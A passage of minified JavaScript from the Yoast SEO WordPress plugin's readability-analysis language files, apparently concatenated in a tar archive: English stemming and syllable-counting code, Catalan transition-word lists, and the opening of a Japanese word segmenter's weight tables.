RegExp("^</("+we.join("|")+")[^>]*>$","i"),Ee=/^<([^>\s/]+)[^>]*>$/,xe=/^<\/([^>\s]+)[^>]*>$/,Fe=/^[^<]+$/,Ae=/^<[^><]*$/,je=/<!--(.|[\r\n])*?-->/g;let qe,De=[];(0,X.memoize)((function(e){const d=[];let n=0,t="",i="",r="";return e=e.replace(je,""),De=[],qe=fe()((function(e){De.push(e)})),qe.addRule(Fe,"content"),qe.addRule(Ae,"greater-than-sign-content"),qe.addRule(ye,"block-start"),qe.addRule(ve,"block-end"),qe.addRule(ze,"inline-start"),qe.addRule(ke,"inline-end"),qe.addRule(Ee,"other-element-start"),qe.addRule(xe,"other-element-end"),qe.onText(e),qe.end(),(0,X.forEach)(De,(function(e,a){const u=De[a+1];switch(e.type){case"content":case"greater-than-sign-content":case"inline-start":case"inline-end":case"other-tag":case"other-element-start":case"other-element-end":case"greater than sign":u&&(0!==n||"block-start"!==u.type&&"block-end"!==u.type)?i+=e.src:(i+=e.src,d.push(i),t="",i="",r="");break;case"block-start":0!==n&&(""!==i.trim()&&d.push(i),i="",r=""),n++,t=e.src;break;case"block-end":n--,r=e.src,""!==t&&""!==r?d.push(t+i+r):""!==i.trim()&&d.push(i),t="",i="",r=""}n<0&&(n=0)})),d})),new RegExp("^<("+be.join("|")+")[^>]*?>","i"),new RegExp("</("+be.join("|")+")[^>]*?>$","i");function Be(e,d=!1,n="",t=!1){const i="("+(e=(0,X.map)(e,(function(e){return t&&(e=function(e){const d=[{base:"a",letters:/[\u0061\u24D0\uFF41\u1E9A\u00E0\u00E1\u00E2\u1EA7\u1EA5\u1EAB\u1EA9\u00E3\u0101\u0103\u1EB1\u1EAF\u1EB5\u1EB3\u0227\u01E1\u00E4\u01DF\u1EA3\u00E5\u01FB\u01CE\u0201\u0203\u1EA1\u1EAD\u1EB7\u1E01\u0105\u2C65\u0250]/g},{base:"aa",letters:/[\uA733]/g},{base:"ae",letters:/[\u00E6\u01FD\u01E3]/g},{base:"ao",letters:/[\uA735]/g},{base:"au",letters:/[\uA737]/g},{base:"av",letters:/[\uA739\uA73B]/g},{base:"ay",letters:/[\uA73D]/g},{base:"b",letters:/[\u0062\u24D1\uFF42\u1E03\u1E05\u1E07\u0180\u0183\u0253]/g},{base:"c",letters:/[\u0063\u24D2\uFF43\u0107\u0109\u010B\u010D\u00E7\u1E09\u0188\u023C\uA73F\u2184]/g},{base:"d",letters:/[\u0064\u24D3\uFF44\u1E0B\u010F\u1E0D\u1E11\u1E13\u1E0F\u0111\u018C\u0256\u0257\uA77A]/g},{base:"dz",letters:/[\u01F3\u01C6]/g},{base:"e",letters:/[\u0065\u24D4\uFF45\u00E8\u00E9\u00EA\u1EC1\u1EBF\u1EC5\u1EC3\u1EBD\u0113\u1E15\u1E17\u0115\u0117\u00EB\u1EBB\u011B\u0205\u0207\u1EB9\u1EC7\u0229\u1E1D\u0119\u1E19\u1E1B\u0247\u025B\u01DD]/g},{base:"f",letters:/[\u0066\u24D5\uFF46\u1E1F\u0192\uA77C]/g},{base:"g",letters:/[\u0067\u24D6\uFF47\u01F5\u011D\u1E21\u011F\u0121\u01E7\u0123\u01E5\u0260\uA7A1\u1D79\uA77F]/g},{base:"h",letters:/[\u0068\u24D7\uFF48\u0125\u1E23\u1E27\u021F\u1E25\u1E29\u1E2B\u1E96\u0127\u2C68\u2C76\u0265]/g},{base:"hv",letters:/[\u0195]/g},{base:"i",letters:/[\u0069\u24D8\uFF49\u00EC\u00ED\u00EE\u0129\u012B\u012D\u00EF\u1E2F\u1EC9\u01D0\u0209\u020B\u1ECB\u012F\u1E2D\u0268\u0131]/g},{base:"j",letters:/[\u006A\u24D9\uFF4A\u0135\u01F0\u0249]/g},{base:"k",letters:/[\u006B\u24DA\uFF4B\u1E31\u01E9\u1E33\u0137\u1E35\u0199\u2C6A\uA741\uA743\uA745\uA7A3]/g},{base:"l",letters:/[\u006C\u24DB\uFF4C\u0140\u013A\u013E\u1E37\u1E39\u013C\u1E3D\u1E3B\u017F\u0142\u019A\u026B\u2C61\uA749\uA781\uA747]/g},{base:"lj",letters:/[\u01C9]/g},{base:"m",letters:/[\u006D\u24DC\uFF4D\u1E3F\u1E41\u1E43\u0271\u026F]/g},{base:"n",letters:/[\u006E\u24DD\uFF4E\u01F9\u0144\u00F1\u1E45\u0148\u1E47\u0146\u1E4B\u1E49\u019E\u0272\u0149\uA791\uA7A5]/g},{base:"nj",letters:/[\u01CC]/g},{base:"o",letters:/[\u006F\u24DE\uFF4F\u00F2\u00F3\u00F4\u1ED3\u1ED1\u1ED7\u1ED5\u00F5\u1E4D\u022D\u1E4F\u014D\u1E51\u1E53\u014F\u022F\u0231\u00F6\u022B\u1ECF\u0151\u01D2\u020D\u020F\u01A1\u1EDD\u1EDB\u1EE1\u1EDF\u1EE3\u1ECD\u1ED9\u01EB\u01ED\u00F8\u01FF\u0254\uA74B\uA74D\u0275]/g},{base:"oi",letters:/[\u01A3]/g},{base:"ou",letters:/[\u0223]/g},{base:"oo",letters:/[\uA74F]/g},{base:"p",letters:/[\u0070\u24DF\uFF50\u1E55\u1E57\u01A5\u1D7D\uA751\uA753\uA755]/g},{base:"q",letters:/[\u0071\u24E0\uFF51\u024B\uA757\uA759]/g},{base:"r",letters:/[\u0072\u24E1\uFF52\u0155\u1E59\u0159\u0211\u0213\u1E5B\u1E5D\u0157\u1E5F\u024D\u027D\uA75B\uA7A7\uA783]/g},{base:"s",letters:/[\u0073\u24E2\uFF53\u00DF\u015B\u1E65\u015D\u1E61\u0161\u1E67\u1E63\u1E69\u0219\u015F\u023F\uA7A9\uA785\u1E9B]/g},{base:"t",letters:/[\u0074\u24E3\uFF54\u1E6B\u1E97\u0165\u1E6D\u021B\u0163\u1E71\u1E6F\u0167\u01AD\u0288\u2C66\uA787]/g},{base:"tz",letters:/[\uA729]/g},{base:"u",letters:/[\u0075\u24E4\uFF55\u00F9\u00FA\u00FB\u0169\u1E79\u016B\u1E7B\u016D\u00FC\u01DC\u01D8\u01D6\u01DA\u1EE7\u016F\u0171\u01D4\u0215\u0217\u01B0\u1EEB\u1EE9\u1EEF\u1EED\u1EF1\u1EE5\u1E73\u0173\u1E77\u1E75\u0289]/g},{base:"v",letters:/[\u0076\u24E5\uFF56\u1E7D\u1E7F\u028B\uA75F\u028C]/g},{base:"vy",letters:/[\uA761]/g},{base:"w",letters:/[\u0077\u24E6\uFF57\u1E81\u1E83\u0175\u1E87\u1E85\u1E98\u1E89\u2C73]/g},{base:"x",letters:/[\u0078\u24E7\uFF58\u1E8B\u1E8D]/g},{base:"y",letters:/[\u0079\u24E8\uFF59\u1EF3\u00FD\u0177\u1EF9\u0233\u1E8F\u00FF\u1EF7\u1E99\u1EF5\u01B4\u024F\u1EFF]/g},{base:"z",letters:/[\u007A\u24E9\uFF5A\u017A\u1E91\u017C\u017E\u1E93\u1E95\u01B6\u0225\u0240\u2C6C\uA763]/g}];for(let n=0;n<d.length;n++)e=e.replace(d[n].letters,d[n].base);return e}(e)),e=function(e){return ae(e=e.replace(/(<([^>]+)>)/gi," "))}(function(e){return function(e){return e.replace(/\s/g," ")}(e=function(e){return e.replace(/\u2014/g," ")}(e=function(e){return e.replace(/&nbsp;/g," ")}(e)))}(e)),d?e:ue(e,!0,n)}))).join(")|(")+")";return new RegExp(i,"ig")}class Re{constructor(e){this._hasRegex=!1,this._regex="",this._multiplier="",this.createRegex(e)}hasRegex(){return this._hasRegex}createRegex(e){(0,X.isUndefined)(e)||(0,X.isUndefined)(e.fragments)||(this._hasRegex=!0,this._regex=Be(e.fragments,!0),this._multiplier=e.countModifier)}getRegex(){return this._regex}countSyllables(e){return this._hasRegex?(e.match(this._regex)||[]).length*this._multiplier:0}}class Ce{constructor(e){this.countSteps=[],(0,X.isUndefined)(e)||this.createSyllableCountSteps(e.deviations.vowels)}createSyllableCountSteps(e){(0,X.forEach)(e,function(e){this.countSteps.push(new Re(e))}.bind(this))}getAvailableSyllableCountSteps(){return this.countSteps}countSyllables(e){let d=0;return(0,X.forEach)(this.countSteps,(function(n){d+=n.countSyllables(e)})),d}}class Pe{constructor(e){this._location=e.location,this._fragment=e.word,this._syllables=e.syllables,this._regex=null,this._options=(0,X.pick)(e,["notFollowedBy","alsoFollowedBy"])}createRegex(){const e=this._options;let d,n=this._fragment;switch((0,X.isUndefined)(e.notFollowedBy)||(n+="(?!["+e.notFollowedBy.join("")+"])"),(0,X.isUndefined)(e.alsoFollowedBy)||(n+="["+e.alsoFollowedBy.join("")+"]?"),this._location){case"atBeginning":d="^"+n;break;case"atEnd":d=n+"$";break;case"atBeginningOrEnd":d="(^"+n+")|("+n+"$)";break;default:d=n}this._regex=new RegExp(d)}getRegex(){return null===this._regex&&this.createRegex(),this._regex}occursIn(e){return this.getRegex().test(e)}removeFrom(e){return e.replace(this._fragment," ")}getSyllables(){return this._syllables}}const $e=(0,X.memoize)((function(e){let d=[];const n=e.deviations;return d=(0,X.flatMap)(n.words.fragments,(function(e,d){return(0,X.map)(e,(function(e){return e.location=d,new Pe(e)}))})),d})),_e=function(e,d){let n=0;if(!(0,X.isUndefined)(d.deviations)&&!(0,X.isUndefined)(d.deviations.words)){if(!(0,X.isUndefined)(d.deviations.words.full)){const n=function(e,d){const n=d.deviations.words.full,t=(0,X.find)(n,(function(d){return d.word===e}));return(0,X.isUndefined)(t)?0:t.syllables}(e,d);if(0!==n)return n}if(!(0,X.isUndefined)(d.deviations.words.fragments)){const t=function(e,d){const n=$e(d);let t=e,i=0;return(0,X.forEach)(n,(function(e){e.occursIn(t)&&(t=e.removeFrom(t),i+=e.getSyllables())})),{word:t,syllableCount:i}}(e,d);e=t.word,n+=t.syllableCount}}return n+=function(e,d){let n=0;return n+=function(e,d){let n=0;const t=new RegExp("[^"+d.vowels+"]","ig"),i=e.split(t);return n+=(0,X.filter)(i,(function(e){return""!==e})).length,n}(e,d),(0,X.isUndefined)(d.deviations)||(0,X.isUndefined)(d.deviations.vowels)||(n+=function(e,d){return new Ce(d).countSyllables(e)}(e,d)),n}(e,d),n},{buildFormRule:Se,createRulesFromArrays:Le}=e.languageProcessing,We=(e,d,n,t)=>{const i=_e(e,Q);if(e.endsWith(d)){if(i<=1)return!1;const r=`i${d}`,a=e.endsWith(r),u=t.includes(e.slice(0,-r.length))||t.includes(e.slice(0,-d.length)),o=n.includes(e);if(u||i<=(a?3:2)&&!o)return!0}return!1},Ue=(e,d,n)=>e.endsWith(d)&&!n.includes(e),Te=function(e,d,n=[],t=[],i=Ue){return r=>!(r.length<d)&&i(r,e,n,t)},{buildFormRule:Ie,createRulesFromArrays:Oe}=e.languageProcessing,He=/([aeiouy])/g,Me=function(e){return(e.match(He)||[]).length>1&&e.length>4&&"ing"===e.substring(e.length-3,e.length)},{buildFormRule:Ne,createRulesFromArrays:Ve}=e.languageProcessing;function Je(e,d){for(const n of d)if(n.includes(e))return n[0];return null}function Ge(e,d){const n=d.verbs.regexVerb,t=Ne(e,Ve(d.nouns.regexNoun.singularize));if(!(0,X.isUndefined)(t))return Me(t)?Ne(t,Ve(n.ingFormToInfinitive)):t;const i=d.adjectives.regexAdjective,r=Ne(e,Ve(i.icallyToBase));if(!(0,X.isUndefined)(r))return r;const a=[],u=function(e,d){const n=Oe(d.sFormToInfinitive),t=Oe(d.ingFormToInfinitive),i=Oe(d.edFormToInfinitive);return function(e){return e.length>3&&"s"===e[e.length-1]}(e)?{infinitive:Ie(e,n),guessedForm:"s"}:Me(e)?{infinitive:Ie(e,t),guessedForm:"ing"}:function(e){const d=(e.match(He)||[]).length;return(d>1||1===d&&"e"!==e.substring(e.length-3,e.length-2))&&"ed"===e.substring(e.length-2,e.length)}(e)?{infinitive:Ie(e,i)||e,guessedForm:"ed"}:{infinitive:e,guessedForm:"inf"}}(e,n).infinitive;a.push(u);const o=function(e,d,n,t){if(Te("er",4,n.erExceptions,t,We)(e)){const n=Le(d.comparativeToBase);return{base:Se(e,n)||e,guessedForm:"er"}}if(Te("est",5,n.estExceptions,t,We)(e)){const n=Le(d.superlativeToBase);return{base:Se(e,n)||e,guessedForm:"est"}}if(Te("ly",5,n.lyExceptions)(e)){const n=Le(d.adverbToBase);return{base:Se(e,n),guessedForm:"ly"}}return{base:e,guessedForm:"base"}}(e,i,d.adjectives.stopAdjectives,d.adjectives.multiSyllableAdjectives?d.adjectives.multiSyllableAdjectives.list:[]).base;return a.push(o),function(e){const d=(0,X.flatten)(e);let n=d.pop();return d.forEach((e=>{const d=e.length-n.length;0===d?e.localeCompare(n)<0&&(n=e):d<0&&(n=e)})),n}(a)}const Ke=function(e,d){const n=d.nouns,t=Ne(e,Ve(n.regexNoun.possessiveToBase));let i,r;return(0,X.isUndefined)(t)?(i=e,r=Je(e,n.irregularNouns)||Je(e,d.adjectives.irregularAdjectives)||function(e,d){const n=function(e,d,n){let t;if(d.forEach((function(d){d.forEach((function(n){n===e&&(t=d)}))})),(0,X.isUndefined)(t)){const i=function(e,d){for(const e in d)d.hasOwnProperty&&(d[e]=new RegExp(d[e],"i"));return!0===d.sevenLetterHyphenPrefixes.test(e)?{normalizedWord:e.replace(d.sevenLetterHyphenPrefixes,""),prefix:e.substring(0,8)}:!0===d.sevenLetterPrefixes.test(e)?{normalizedWord:e.replace(d.sevenLetterPrefixes,""),prefix:e.substring(0,7)}:!0===d.fiveLetterHyphenPrefixes.test(e)?{normalizedWord:e.replace(d.fiveLetterHyphenPrefixes,""),prefix:e.substring(0,6)}:!0===d.fiveLetterPrefixes.test(e)?{normalizedWord:e.replace(d.fiveLetterPrefixes,""),prefix:e.substring(0,5)}:!0===d.fourLetterHyphenPrefixes.test(e)?{normalizedWord:e.replace(d.fourLetterHyphenPrefixes,""),prefix:e.substring(0,5)}:!0===d.fourLetterPrefixes.test(e)?{normalizedWord:e.replace(d.fourLetterPrefixes,""),prefix:e.substring(0,4)}:!0===d.threeLetterHyphenPrefixes.test(e)?{normalizedWord:e.replace(d.threeLetterHyphenPrefixes,""),prefix:e.substring(0,4)}:!0===d.threeLetterPrefixes.test(e)?{normalizedWord:e.replace(d.threeLetterPrefixes,""),prefix:e.substring(0,3)}:!0===d.twoLetterHyphenPrefixes.test(e)?{normalizedWord:e.replace(d.twoLetterHyphenPrefixes,""),prefix:e.substring(0,3)}:!0===d.twoLetterPrefixes.test(e)?{normalizedWord:e.replace(d.twoLetterPrefixes,""),prefix:e.substring(0,2)}:!0===d.oneLetterPrefixes.test(e)?{normalizedWord:e.replace(d.oneLetterPrefixes,""),prefix:e.substring(0,1)}:void 0}(e,n);(0,X.isUndefined)(i)||d.forEach((function(e){e.forEach((function(d){d===i.normalizedWord&&(t=e.map((function(e){return i.prefix.concat(e)})))}))}))}return t}(e,d.irregularVerbs,d.regexVerb.verbPrefixes);return(0,X.isUndefined)(n)?null:n[0]}(e,d.verbs)):(i=t,r=Je(t,n.irregularNouns)),r||Ge(i,d)},{baseStemmer:Qe}=e.languageProcessing;function Xe(e){const d=(0,X.get)(e.getData("morphology"),"en",!1);return d?e=>Ke(e,d):Qe}const{formatNumber:Ye}=e.helpers;function Ze(e){const d=206.835-1.015*e.averageWordsPerSentence-e.numberOfSyllables/e.numberOfWords*84.6;return Ye(d)}const{AbstractResearcher:ed}=e.languageProcessing;class dd extends ed{constructor(e){super(e),Object.assign(this.config,{language:"en",passiveConstructionType:"periphrastic",firstWordExceptions:d,functionWords:J,stopWords:G,transitionWords:u,twoPartTransitionWords:K,syllables:Q}),Object.assign(this.helpers,{getClauses:me,getStemmer:Xe,fleschReadingScore:Ze})}}})(),(window.yoast=window.yoast||{}).Researcher=t})();wordpress-seo/js/dist/languages/ca.js000064400000006723147510273070013644 0ustar00(()=>{"use strict";var e={d:(a,t)=>{for(var r in t)e.o(t,r)&&!e.o(a,r)&&Object.defineProperty(a,r,{enumerable:!0,get:t[r]})},o:(e,a)=>Object.prototype.hasOwnProperty.call(e,a),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},a={};e.r(a),e.d(a,{default:()=>c});const t=window.yoast.analysis,r=["abans","així","alhora","aleshores","altrament","anteriorment","breument","bàsicament","contràriament","després","doncs","efectivament","endemés","especialment","evidentment","finalment","fins a","fins que","generalment","igualment","malgrat","mentre","mentrestant","parallelament","paral·lelament","però","perquè","quan","primerament","resumidament","resumint","segurament","segons això","sens dubte","sinó","sobretot","també","tanmateix"].concat(["a banda d'això","a continuació","a diferència de","a fi de","a fi que","a força de","a manera de resum","a més","a partir d'aquí","a partir d'ara","a tall d'exemple","a tall de recapitulació","a tall de resum","al capdavall","al contrari","al mateix temps","amb relació a","tot plegat","ara bé","atès que","com a conseqüència","com a exemple","com a resultat","com a resum","com que","comptat i debatut","considerant que","convé destacar","convé recalcar","convé ressaltar que","d'altra banda","d’una banda","d’una forma breu","de la mateixa manera","de manera parallela","de manera paral·lela","de manera que","de tota manera","degut a","deixant de banda","dit d'una altra manera","donat que","en a resum","en lloc de","en altres paraules","en aquest sentit","en canvi","en conclusió","en conjunt","en conseqüència","encara que","en darrer lloc","en darrer terme","en definitiva","en efecte","en general","en particular","en pocs mots","en poques paraules","en primer lloc","en relació amb","en resum","en segon lloc","en síntesi","en suma","en tercer lloc","en últim terme","és a dir","és més","és per això que","fins i tot","gràcies a","gràcies de","igual com","igual que","ja que","llevat que","més aviat","més tard","més endavant","no obstant","o sia","o sigui","òbviament","pel fet que","pel general","pel que","per acabar","per això","per altra banda","per aquest motiu","per causa de","per causa que","per cert","per començar","per concloure","per concretar","per contra","per exemple","per illustrar","per il·lustrar","per l'altra part","per l'altre cantó","per la qual cosa","per mitjà de","per posar un exemple","per raó de","per raó que","per tal de","per tal que","per tant","per últim","per un cantó","per un costat","per una altra banda","per una part","quant a","recapitulant","respecte de","s'ha de tenir en compte que","sempre que","tal com s’ha dit","tan bon punt","tan aviat com","tenint en compte que","tot i","tot seguit","val a dir","val la pena dir que","vist que"]),n=[["ara","ara"],["ni","ni"]],s={recommendedLength:25},{baseStemmer:l}=t.languageProcessing;function i(){return l}const{AbstractResearcher:o}=t.languageProcessing;class c extends o{constructor(e){super(e),delete this.defaultResearches.getFleschReadingScore,delete this.defaultResearches.getPassiveVoiceResult,delete this.defaultResearches.getSentenceBeginnings,delete this.defaultResearches.functionWordsInKeyphrase,Object.assign(this.config,{language:"ca",functionWords:[],transitionWords:r,twoPartTransitionWords:n,sentenceLength:s}),Object.assign(this.helpers,{getStemmer:i})}}(window.yoast=window.yoast||{}).Researcher=a})();wordpress-seo/js/dist/languages/ja.js000064400000327253147510273070013657 0ustar00(()=>{var e={771:e=>{function t(){var e={"[一二三四五六七八九十百千万億兆]":"M","[一-龠々〆ヵヶ]":"H","[ぁ-ん]":"I","[ァ-ヴーア-ン゙ー]":"K","[a-zA-Za-zA-Z]":"A","[0-90-9]":"N"};for(var t in this.chartype_=[],e){var r=new RegExp;r.compile(t),this.chartype_.push([r,e[t]])}return this.BIAS__=-332,this.BC1__={HH:6,II:2461,KH:406,OH:-1378},this.BC2__={AA:-3267,AI:2744,AN:-878,HH:-4070,HM:-1711,HN:4012,HO:3761,IA:1327,IH:-1184,II:-1332,IK:1721,IO:5492,KI:3831,KK:-8741,MH:-3132,MK:3334,OO:-2920},this.BC3__={HH:996,HI:626,HK:-721,HN:-1307,HO:-836,IH:-301,KK:2762,MK:1079,MM:4034,OA:-1652,OH:266},this.BP1__={BB:295,OB:304,OO:-125,UB:352},this.BP2__={BO:60,OO:-1762},this.BQ1__={BHH:1150,BHM:1521,BII:-1158,BIM:886,BMH:1208,BNH:449,BOH:-91,BOO:-2597,OHI:451,OIH:-296,OKA:1851,OKH:-1020,OKK:904,OOO:2965},this.BQ2__={BHH:118,BHI:-1159,BHM:466,BIH:-919,BKK:-1720,BKO:864,OHH:-1139,OHM:-181,OIH:153,UHI:-1146},this.BQ3__={BHH:-792,BHI:2664,BII:-299,BKI:419,BMH:937,BMM:8335,BNN:998,BOH:775,OHH:2174,OHM:439,OII:280,OKH:1798,OKI:-793,OKO:-2242,OMH:-2402,OOO:11699},this.BQ4__={BHH:-3895,BIH:3761,BII:-4654,BIK:1348,BKK:-1806,BMI:-3385,BOO:-12396,OAH:926,OHH:266,OHK:-2036,ONN:-973},this.BW1__={",と":660,",同":727,B1あ:1404,B1同:542,"、と":660,"、同":727,"」と":1682,あっ:1505,いう:1743,いっ:-2055,いる:672,うし:-4817,うん:665,から:3472,がら:600,こう:-790,こと:2083,こん:-1262,さら:-4143,さん:4573,した:2641,して:1104,すで:-3399,そこ:1977,それ:-871,たち:1122,ため:601,った:3463,つい:-802,てい:805,てき:1249,でき:1127,です:3445,では:844,とい:-4915,とみ:1922,どこ:3887,ない:5713,なっ:3015,など:7379,なん:-1113,にし:2468,には:1498,にも:1671,に対:-912,の一:-501,の中:741,ませ:2448,まで:1711,まま:2600,まる:-2155,やむ:-1947,よっ:-2565,れた:2369,れで:-913,をし:1860,を見:731,亡く:-1886,京都:2558,取り:-2784,大き:-2604,大阪:1497,平方:-2314,引き:-1336,日本:-195,本当:-2423,毎日:-2113,目指:-724,B1あ:1404,B1同:542,"」と":1682},this.BW2__={"..":-11822,11:-669,"――":-5730,"−−":-13175,いう:-1609,うか:2490,かし:-1350,かも:-602,から:-7194,かれ:4612,がい:853,がら:-3198,きた:1941,くな:-1597,こと:-8392,この:-4193,させ:4533,され:13168,さん:-3977,しい:-1819,しか:-545,した:5078,して:972,しな:939,その:-3744,たい:-1253,たた:-662,ただ:-3857,たち:-786,たと:1224,たは:-939,った:4589,って:1647,っと:-2094,てい:6144,てき:3640,てく:2551,ては:-3110,ても:-3065,でい:2666,でき:-1528,でし:-3828,です:-4761,でも:-4203,とい:1890,とこ:-1746,とと:-2279,との:720,とみ:5168,とも:-3941,ない:-2488,なが:-1313,など:-6509,なの:2614,なん:3099,にお:-1615,にし:2748,にな:2454,によ:-7236,に対:-14943,に従:-4688,に関:-11388,のか:2093,ので:-7059,のに:-6041,のの:-6125,はい:1073,はが:-1033,はず:-2532,ばれ:1813,まし:-1316,まで:-6621,まれ:5409,めて:-3153,もい:2230,もの:-10713,らか:-944,らし:-1611,らに:-1897,りし:651,りま:1620,れた:4270,れて:849,れば:4114,ろう:6067,われ:7901,を通:-11877,んだ:728,んな:-4115,一人:602,一方:-1375,一日:970,一部:-1051,上が:-4479,会社:-1116,出て:2163,分の:-7758,同党:970,同日:-913,大阪:-2471,委員:-1250,少な:-1050,年度:-8669,年間:-1626,府県:-2363,手権:-1982,新聞:-4066,日新:-722,日本:-7068,日米:3372,曜日:-601,朝鮮:-2355,本人:-2697,東京:-1543,然と:-1384,社会:-1276,立て:-990,第に:-1612,米国:-4268,"11":-669},this.BW3__={あた:-2194,あり:719,ある:3846,"い.":-1185,"い。":-1185,いい:5308,いえ:2079,いく:3029,いた:2056,いっ:1883,いる:5600,いわ:1527,うち:1117,うと:4798,えと:1454,"か.":2857,"か。":2857,かけ:-743,かっ:-4098,かに:-669,から:6520,かり:-2670,"が,":1816,"が、":1816,がき:-4855,がけ:-1127,がっ:-913,がら:-4977,がり:-2064,きた:1645,けど:1374,こと:7397,この:1542,ころ:-2757,さい:-714,さを:976,"し,":1557,"し、":1557,しい:-3714,した:3562,して:1449,しな:2608,しま:1200,"す.":-1310,"す。":-1310,する:6521,"ず,":3426,"ず、":3426,ずに:841,そう:428,"た.":8875,"た。":8875,たい:-594,たの:812,たり:-1183,たる:-853,"だ.":4098,"だ。":4098,だっ:1004,った:-4748,って:300,てい:6240,てお:855,ても:302,です:1437,でに:-1482,では:2295,とう:-1387,とし:2266,との:541,とも:-3543,どう:4664,ない:1796,なく:-903,など:2135,"に,":-1021,"に、":-1021,にし:1771,にな:1906,には:2644,"の,":-724,"の、":-724,の子:-1e3,"は,":1337,"は、":1337,べき:2181,まし:1113,ます:6943,まっ:-1549,まで:6154,まれ:-793,らし:1479,られ:6820,るる:3818,"れ,":854,"れ、":854,れた:1850,れて:1375,れば:-3246,れる:1091,われ:-605,んだ:606,んで:798,カ月:990,会議:860,入り:1232,大会:2217,始め:1681,市:965,新聞:-5055,"日,":974,"日、":974,社会:2024,カ月:990},this.TC1__={AAA:1093,HHH:1029,HHM:580,HII:998,HOH:-390,HOM:-331,IHI:1169,IOH:-142,IOI:-1015,IOM:467,MMH:187,OOI:-1832},this.TC2__={HHO:2088,HII:-1023,HMM:-1154,IHI:-1965,KKH:703,OII:-2649},this.TC3__={AAA:-294,HHH:346,HHI:-341,HII:-1088,HIK:731,HOH:-1486,IHH:128,IHI:-3041,IHO:-1935,IIH:-825,IIM:-1035,IOI:-542,KHH:-1216,KKA:491,KKH:-1217,KOK:-1009,MHH:-2694,MHM:-457,MHO:123,MMH:-471,NNH:-1689,NNO:662,OHO:-3393},this.TC4__={HHH:-203,HHI:1344,HHK:365,HHM:-122,HHN:182,HHO:669,HIH:804,HII:679,HOH:446,IHH:695,IHO:-2324,IIH:321,III:1497,IIO:656,IOO:54,KAK:4845,KKA:3386,KKK:3065,MHH:-405,MHI:201,MMH:-241,MMM:661,MOM:841},this.TQ1__={BHHH:-227,BHHI:316,BHIH:-132,BIHH:60,BIII:1595,BNHH:-744,BOHH:225,BOOO:-908,OAKK:482,OHHH:281,OHIH:249,OIHI:200,OIIH:-68},this.TQ2__={BIHH:-1401,BIII:-1033,BKAK:-543,BOOO:-5591},this.TQ3__={BHHH:478,BHHM:-1073,BHIH:222,BHII:-504,BIIH:-116,BIII:-105,BMHI:-863,BMHM:-464,BOMH:620,OHHH:346,OHHI:1729,OHII:997,OHMH:481,OIHH:623,OIIH:1344,OKAK:2792,OKHH:587,OKKA:679,OOHH:110,OOII:-685},this.TQ4__={BHHH:-721,BHHM:-3604,BHII:-966,BIIH:-607,BIII:-2181,OAAA:-2763,OAKK:180,OHHH:-294,OHHI:2446,OHHO:480,OHIH:-1573,OIHH:1935,OIHI:-493,OIIH:626,OIII:-4007,OKAK:-8156},this.TW1__={につい:-4681,東京都:2026},this.TW2__={ある程:-2049,いった:-1256,ころが:-2434,しょう:3873,その後:-4430,だって:-1049,ていた:1833,として:-4657,ともに:-4517,もので:1882,一気に:-792,初めて:-1512,同時に:-8097,大きな:-1255,対して:-2721,社会党:-3216},this.TW3__={いただ:-1734,してい:1314,として:-4314,につい:-5483,にとっ:-5989,に当た:-6247,"ので,":-727,"ので、":-727,のもの:-600,れから:-3752,十二月:-2287},this.TW4__={"いう.":8576,"いう。":8576,からな:-2348,してい:2958,"たが,":1516,"たが、":1516,ている:1538,という:1349,ました:5543,ません:1097,ようと:-4258,よると:5865},this.UC1__={A:484,K:93,M:645,O:-505},this.UC2__={A:819,H:1059,I:409,M:3987,N:5775,O:646},this.UC3__={A:-1370,I:2311},this.UC4__={A:-2643,H:1809,I:-1032,K:-3450,M:3565,N:3876,O:6646},this.UC5__={H:313,I:-1238,K:-799,M:539,O:-831},this.UC6__={H:-506,I:-253,K:87,M:247,O:-387},this.UP1__={O:-214},this.UP2__={B:69,O:935},this.UP3__={B:189},this.UQ1__={BH:21,BI:-12,BK:-99,BN:142,BO:-56,OH:-95,OI:477,OK:410,OO:-2422},this.UQ2__={BH:216,BI:113,OK:1759},this.UQ3__={BA:-479,BH:42,BI:1913,BK:-7198,BM:3160,BN:6427,BO:14761,OI:-827,ON:-3212},this.UW1__={",":156,"、":156,"「":-463,あ:-941,う:-127,が:-553,き:121,こ:505,で:-201,と:-547,ど:-123,に:-789,の:-185,は:-847,も:-466,や:-470,よ:182,ら:-292,り:208,れ:169,を:-446,ん:-137,"・":-135,主:-402,京:-268,区:-912,午:871,国:-460,大:561,委:729,市:-411,日:-141,理:361,生:-408,県:-386,都:-718,"「":-463,"・":-135},this.UW2__={",":-829,"、":-829,〇:892,"「":-645,"」":3145,あ:-538,い:505,う:134,お:-502,か:1454,が:-856,く:-412,こ:1141,さ:878,ざ:540,し:1529,す:-675,せ:300,そ:-1011,た:188,だ:1837,つ:-949,て:-291,で:-268,と:-981,ど:1273,な:1063,に:-1764,の:130,は:-409,ひ:-1273,べ:1261,ま:600,も:-1263,や:-402,よ:1639,り:-579,る:-694,れ:571,を:-2516,ん:2095,ア:-587,カ:306,キ:568,ッ:831,三:-758,不:-2150,世:-302,中:-968,主:-861,事:492,人:-123,会:978,保:362,入:548,初:-3025,副:-1566,北:-3414,区:-422,大:-1769,天:-865,太:-483,子:-1519,学:760,実:1023,小:-2009,市:-813,年:-1060,強:1067,手:-1519,揺:-1033,政:1522,文:-1355,新:-1682,日:-1815,明:-1462,最:-630,朝:-1843,本:-1650,東:-931,果:-665,次:-2378,民:-180,気:-1740,理:752,発:529,目:-1584,相:-242,県:-1165,立:-763,第:810,米:509,自:-1353,行:838,西:-744,見:-3874,調:1010,議:1198,込:3041,開:1758,間:-1257,"「":-645,"」":3145,ッ:831,ア:-587,カ:306,キ:568},this.UW3__={",":4889,1:-800,"−":-1723,"、":4889,々:-2311,〇:5827,"」":2670,"〓":-3573,あ:-2696,い:1006,う:2342,え:1983,お:-4864,か:-1163,が:3271,く:1004,け:388,げ:401,こ:-3552,ご:-3116,さ:-1058,し:-395,す:584,せ:3685,そ:-5228,た:842,ち:-521,っ:-1444,つ:-1081,て:6167,で:2318,と:1691,ど:-899,な:-2788,に:2745,の:4056,は:4555,ひ:-2171,ふ:-1798,へ:1199,ほ:-5516,ま:-4384,み:-120,め:1205,も:2323,や:-788,よ:-202,ら:727,り:649,る:5905,れ:2773,わ:-1207,を:6620,ん:-518,ア:551,グ:1319,ス:874,ッ:-1350,ト:521,ム:1109,ル:1591,ロ:2201,ン:278,"・":-3794,一:-1619,下:-1759,世:-2087,両:3815,中:653,